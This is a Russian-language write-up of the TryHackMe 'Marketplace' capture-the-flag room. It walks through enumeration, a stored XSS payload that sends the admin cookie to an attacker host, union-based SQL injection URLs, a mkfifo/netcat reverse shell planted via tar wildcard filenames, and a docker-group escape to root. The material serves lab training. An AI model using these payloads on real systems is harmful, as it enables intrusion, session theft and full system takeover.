WriteUpTHM - Marketplace
wr3dmast3r|RAВсем привет! С вами wr3dmast3r, и сегодня мы проникнем в маркетплейс на try hack me.

Системный администратор The Marketplace, Майкл, предоставил вам доступ к своему внутреннему серверу, чтобы вы могли протестировать платформу Marketplace, над которой он и его команда работали. Он сказал, что в нем все еще есть несколько ошибок, которые он и его команда должны исправить.
Начнём с nmap:

У нас есть три открытых порта - 22, 80, 32768.
Начнём с 80 - http.

Marketplace хранит простую веб-страницу, хорошо, давайте проверим robots.txt, и в ней мы увидим директорию /admin, попробуем проверить порт 32768

Тоже самое что и на 80, идём дальше.
Попытавшись перейти в директорию /admin, мы видим ошибку:

Пробуем авторизоваться. admin admin не подошло, и пользователь не найден, идём на страницу регистрации и пробуем создать нового пользователя.

Получилось создать пользователя с кредами a a.
Сообщения пусты, идём снова на главную страницу и ищем дальше:

И здесь у нас есть возможность связаться с администратором через систему репортов, посмотрим что интересного можно найти.

После отправки репорта через несколько минут мы получаем ответ от администратора:

Спасибо за ответ :)
Первое, что приходит в голову, это перехват куки администратора, так как сайт уязвим к XSS, попробуем создать полезную нагрузку.
</p><script>window.location = 'http://VPN-IP/page?param=' + document.cookie </script><p>

После создания страницы мы не можем зайти на неё, но не будем отчаиваться, попробуем просто вернуться на главную страницу.

Ура! На главной странице появилась наша страница с XSS.

Запускаем прослушиватель на 80 порт.

Теперь нужно отправить репорт на страницу с нашей полезной нагрузкой, так как в моем случае было создано несколько страниц, репортить я буду через страницу под номером 5.
Через /report/5 мы можем отправить администратору наше сообщение:

Обновляю сообщения.

Есть ответ от системы. Отлично, теперь давайте вернемся к нашему слушателю ncat, чтобы посмотреть, какую рыбу мы только что поймали на крючок.

Круто, у нас есть куки администратора, теперь мы можем отредактировать наши куки и попробовать получить доступ к аккаунту администратора.
Полученные cookie меняем и обновляем страницу.

Получилось! Во вкладке /admin первый флаг:

Поищем дальше.

Можно подумать, что сайт уязвим к sqli, да, это возможно, на этом моменте я застрял некоторое время в попытках эксплуатации через sqlmap, но безуспешно, поэтому попробуем найти что-то вручную.
http://IP/admin?user=-1+union+select+version(),2,3,4

http://IP/admin?user=-1+union+select+(SELECT+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),2,3,4

http://IP/admin?user=-1+union+select+(SELECT+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()),2,3,4

Попробуйте самостоятельно подобрать полезную нагрузку для получения пароля ssh.

Итак, у нас есть учетные данные для входа в систему по ssh.

Второй флаг находится здесь же.
Пробуем повышаться.

Для повышения прав вы можете воспользоваться полезной нагрузкой, которую я подобрал, просто следуйте этим шагам:
- echo "mkfifo /tmp/lhennp; nc vpn-ip port 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
- chmod 777 shell.sh
- echo "" > "--checkpoint-action=exec=sh shell.sh"
- echo "" > --checkpoint=1
Запускаем прослушку на выбранный нами порт и вводим команду в терминал ssh - sudo -u michael /opt/backups/backup.sh:

Получаем ответ и реализуем стабильный шелл:

python -c 'import pty; pty.spawn ("/bin/bash")'
Для получения рута мы можем использовать docker, который находится в группе с пользователем michael, так как у нас доступ к пользователю, который является частью группы docker, это позволяет нам получить полный root-доступ без пароля.
Мы выполнили команду, показанную ниже, эта команда получает образ alpine из реестра Docker Hub и запускает его. Параметр –v указывает, что мы хотим создать том в экземпляре Docker. Параметры –it переводят Docker в режим оболочки, а не запускают процесс демона. Экземпляр настроен на монтирование корневой файловой системы целевой машины в том экземпляра, поэтому при запуске экземпляра он немедленно загружает chroot в этот том. Это дает нам корень машины. После запуска команды мы переходим в каталог /mnt и обнаруживаем root.txt.

Последний флаг вы сможете прочитать самостоятельно. До новых встреч!
С любовью от RESOLUTE ATTACK!